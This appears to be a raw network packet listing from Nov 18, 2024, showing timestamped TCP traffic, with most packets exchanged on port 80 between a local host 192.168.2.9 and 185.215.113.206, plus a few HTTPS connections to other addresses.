Nov 18, 2024 15:17:06.983823061 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983834982 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983838081 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983845949 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983860016 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.983886957 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.983926058 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984075069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984086037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984096050 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984107971 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984119892 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984132051 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984143019 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984155893 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984157085 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984157085 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984252930 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984322071 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984333992 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984344959 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984357119 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984394073 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984394073 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984448910 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984461069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984472036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984483004 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984532118 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984532118 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984561920 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984575987 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984586954 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984597921 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984608889 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984620094 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984631062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984643936 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984658003 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984658003 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984671116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984678030 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984683990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984692097 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984734058 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984775066 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.984955072 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984966993 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984985113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.984997034 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985009909 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985012054 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985044003 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985044956 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985058069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985063076 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985069990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985085964 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985097885 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985126019 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985167980 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985347033 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985358953 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985369921 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985380888 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985392094 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985402107 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985409021 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985414028 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985425949 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985436916 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985438108 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985447884 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985460997 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985472918 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985483885 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985533953 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985660076 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985671043 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985745907 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985779047 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985791922 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985802889 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985815048 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985832930 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985838890 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985845089 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985855103 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985867023 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985867977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985878944 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985891104 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985903025 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.985909939 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.985980988 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.986088037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986098051 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986145020 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986155987 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986169100 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986181021 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986192942 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986200094 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.986200094 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.986284018 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986295938 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986310005 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.986356974 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.986386061 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986397982 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986409903 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986423016 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986433983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986443996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986445904 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.986494064 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.986494064 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.986670017 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986681938 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986692905 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986706018 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986718893 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986731052 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986743927 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986756086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986763000 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.986763000 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.986864090 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.986979008 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.986991882 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.987003088 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.987016916 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.987029076 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.987040997 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.987051010 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.987051010 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.987055063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.987068892 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.987081051 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.987092972 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.987107038 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.987143040 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.987143040 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.987234116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.987243891 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:06.987279892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:06.992760897 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.992789030 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.992868900 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.992888927 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.993029118 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.993089914 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:06.993098021 CET	443	49816	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:06.995074987 CET	49816	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.002590895 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.002633095 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.002644062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.002656937 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.002670050 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.002691984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.002724886 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.002724886 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.002747059 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.002820969 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.002885103 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.002918959 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.002950907 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.002959967 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.002973080 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.002995968 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.003005028 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.003009081 CET	443	49818	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.003067017 CET	49818	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.003076077 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003089905 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003137112 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.003137112 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.003139973 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003153086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003165007 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003176928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003189087 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003197908 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.003257990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003259897 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.003269911 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003281116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003339052 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.003339052 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.003468037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003479958 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003504038 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.003518105 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.003635883 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.008809090 CET	49820	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.008853912 CET	443	49820	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.009133101 CET	49820	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.009671926 CET	49821	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.009711027 CET	443	49821	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.009851933 CET	49821	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.010123014 CET	49820	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.010138988 CET	443	49820	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.010309935 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.010345936 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.010404110 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.010471106 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.010471106 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.010471106 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.010483027 CET	443	49817	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:07.010976076 CET	49821	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.010992050 CET	443	49821	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.011256933 CET	49822	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.011293888 CET	443	49822	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.011368036 CET	49822	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.011712074 CET	49822	443	192.168.2.9	23.222.241.142
Nov 18, 2024 15:17:07.011723995 CET	443	49822	23.222.241.142	192.168.2.9
Nov 18, 2024 15:17:07.013324022 CET	49823	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.013348103 CET	443	49823	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.013485909 CET	49823	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.013644934 CET	49823	443	192.168.2.9	204.79.197.219
Nov 18, 2024 15:17:07.013657093 CET	443	49823	204.79.197.219	192.168.2.9
Nov 18, 2024 15:17:07.060827017 CET	49817	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:07.067327023 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.067361116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.067372084 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.067425013 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.101713896 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.101741076 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.101752996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.101773024 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.101799965 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.101808071 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.101820946 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.101834059 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.101845980 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.101856947 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.101921082 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.101991892 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.102004051 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.102015018 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.102027893 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.102041960 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.102051020 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.102054119 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.102065086 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.102068901 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.102078915 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.102113962 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.102776051 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.102917910 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.102919102 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.102943897 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.102962017 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103014946 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103014946 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103096962 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103111029 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103121996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103136063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103159904 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103159904 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103203058 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103247881 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103260040 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103279114 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103291035 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103302956 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103308916 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103322029 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103334904 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103341103 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103348017 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103351116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103389978 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103445053 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103524923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103537083 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103549004 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103560925 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103643894 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103652954 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103653908 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103656054 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103673935 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103687048 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103698015 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103709936 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103709936 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103709936 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103722095 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103735924 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103753090 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103766918 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.103766918 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103766918 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103782892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.103853941 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104060888 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104074001 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104085922 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104093075 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104104996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104152918 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104152918 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104254007 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104265928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104279041 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104302883 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104376078 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104414940 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104418993 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104429960 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104435921 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104443073 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104456902 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104469061 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104480028 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104480982 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104499102 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104501009 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104511976 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104522943 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104535103 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104537010 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104537010 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104549885 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104563951 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104576111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104587078 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104599953 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104604006 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104604006 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104612112 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104624987 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104638100 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104638100 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104655981 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104667902 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:07.104669094 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:07.104669094 CET	49750	80	192.168.2.9	185.215.113.206
